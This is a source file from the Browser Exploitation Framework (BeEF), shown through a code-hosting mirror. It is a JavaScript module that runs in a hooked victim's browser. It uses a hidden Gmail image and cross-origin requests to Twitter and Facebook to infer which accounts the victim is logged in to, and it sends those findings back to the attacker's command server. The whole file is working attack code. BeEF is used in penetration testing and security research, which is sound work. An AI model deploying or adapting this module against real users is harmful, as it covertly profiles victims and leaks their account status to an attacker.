Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/detect_soc_nets/command.js
1866 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var facebookresult = "";
10
var twitterresult = "";
11
12
if (document.getElementById('gmailimg')) {
13
return "Img has already been created";
14
}
15
16
var img = new Image();
17
img.setAttribute("style","visibility:hidden");
18
img.setAttribute("width","0");
19
img.setAttribute("height","0");
20
img.src = 'https://mail.google.com/mail/photos/img/photos/public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599IgoA2muEmEZD?'+ new Date();
21
img.id = 'gmailimg';
22
img.setAttribute("attr","start");
23
img.onerror = function() {
24
this.setAttribute("attr","error");
25
};
26
img.onload = function() {
27
this.setAttribute("attr","load");
28
};
29
30
31
document.body.appendChild(img);
32
33
$j.ajax({
34
url: "https://twitter.com/account/use_phx?setting=false&format=text",
35
dataType: "script",
36
cache: "false",
37
complete: function(one, two) {
38
if (two == "success") {
39
twitterresult = "User is NOT authenticated to Twitter (response:"+two+")";
40
} else if (two == "timeout") {
41
twitterresult = "User is authenticated to Twitter (response:"+two+")";
42
}
43
},
44
timeout: <%= @timeout %>
45
});
46
47
$j.ajax({
48
url: "https://www.facebook.com/imike3",
49
dataType: "script",
50
cache: "false",
51
error: function(one, two, three) {
52
facebookresult = "User is NOT authenticated to Facebook";
53
},
54
success: function(one, two, three) {
55
facebookresult = "User is authenticated to Facebook";
56
},
57
timeout: <%= @timeout %>
58
});
59
60
setTimeout(function() {
61
var img2 = document.getElementById('gmailimg');
62
if (img2.getAttribute("attr") == "error") {
63
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
64
} else if (img2.getAttribute("attr") == "load") {
65
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
66
} else if (img2.getAttribute("attr") == "start") {
67
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);
68
};
69
document.body.removeChild(img2);
70
img = null;
71
img2 = null;
72
}, <%= @timeout %>+3000);
73
74
});
75
76